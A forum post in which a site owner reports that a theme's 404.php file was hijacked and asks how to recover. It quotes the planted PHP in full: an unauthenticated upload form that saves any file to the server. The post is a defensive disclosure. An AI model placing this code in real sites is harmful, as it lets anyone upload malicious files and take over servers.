404.php hack allows file upload

Dear All,

I am writing this post notify users for a possible serious hack.

404.php file was hacked and it has been converted to

<?php
if(isset($_POST['Submit'])){
   $filedir = "";
   $maxfile = '2000000';

   $userfile_name = $_FILES['image']['name'];
   $userfile_tmp = $_FILES['image']['tmp_name'];
   if (isset($_FILES['image']['name'])) {
      $abod = $filedir.$userfile_name;
      @move_uploaded_file($userfile_tmp, $abod);

echo"<center><b>Done ==> $userfile_name</b></center>";
}
}
else{
echo'
<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input //type="Submit" name="Submit" value="Submit"></form>';
}
?>

That basically does this; if a content is not found, it redirects you to a page where you can upload files. Important point is you do not need to be a user or anything; anyone can upload any file to the server.

I basically deleted 404.php and apperantly this problem is solved. Yet, I would like to know what further steps I can take. Any help would be much appreciated.

PS: I am using Lucid Theme of Theme Forest and the site is hosted by GoDaddy.